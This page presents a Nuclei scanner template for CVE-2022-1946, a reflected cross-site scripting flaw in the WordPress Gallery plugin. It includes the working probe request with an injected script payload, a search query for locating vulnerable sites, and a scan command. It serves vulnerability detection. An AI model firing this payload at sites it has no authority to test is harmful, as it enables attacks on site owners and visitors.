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WordPress Gallery <2.0.0 - Cross-Site Scripting

ID: CVE-2022-1946

Severity: medium

Author: Akincibor

Tags: cve,cve2022,wpscan,wp,xss,wordpress,gallery,unauth,wp-plugin,wpdevart

Description

Section titled “Description”

WordPress Gallery plugin before 2.0.0 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, available to both unauthenticated and authenticated users.

YAML Source

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id: CVE-2022-1946


info:
  name: WordPress Gallery <2.0.0 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Gallery plugin before 2.0.0 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, available to both unauthenticated and authenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Gallery plugin to version 2.0.0 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0903920c-be2e-4515-901f-87253eb30940
    - https://wordpress.org/plugins/gallery-album
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1946
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1946
    cwe-id: CWE-79
    epss-score: 0.00086
    epss-percentile: 0.36517
    cpe: cpe:2.3:a:wpdevart:gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpdevart
    product: gallery
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/gallery-album/"
  tags: cve,cve2022,wpscan,wp,xss,wordpress,gallery,unauth,wp-plugin,wpdevart


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script>'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'wpdevar_gall_img_url_h[<script>alert(document.domain)</script>]'


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a004630440220515f182b00b6802c9a75db839e92e7a313d6ab72fc17bdf1ec65981be4cb736402207ba3afcb3119d592088e28eb61ea4d25b9c99e32674c7c2f9622c4065db6ea77:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1946.yaml"

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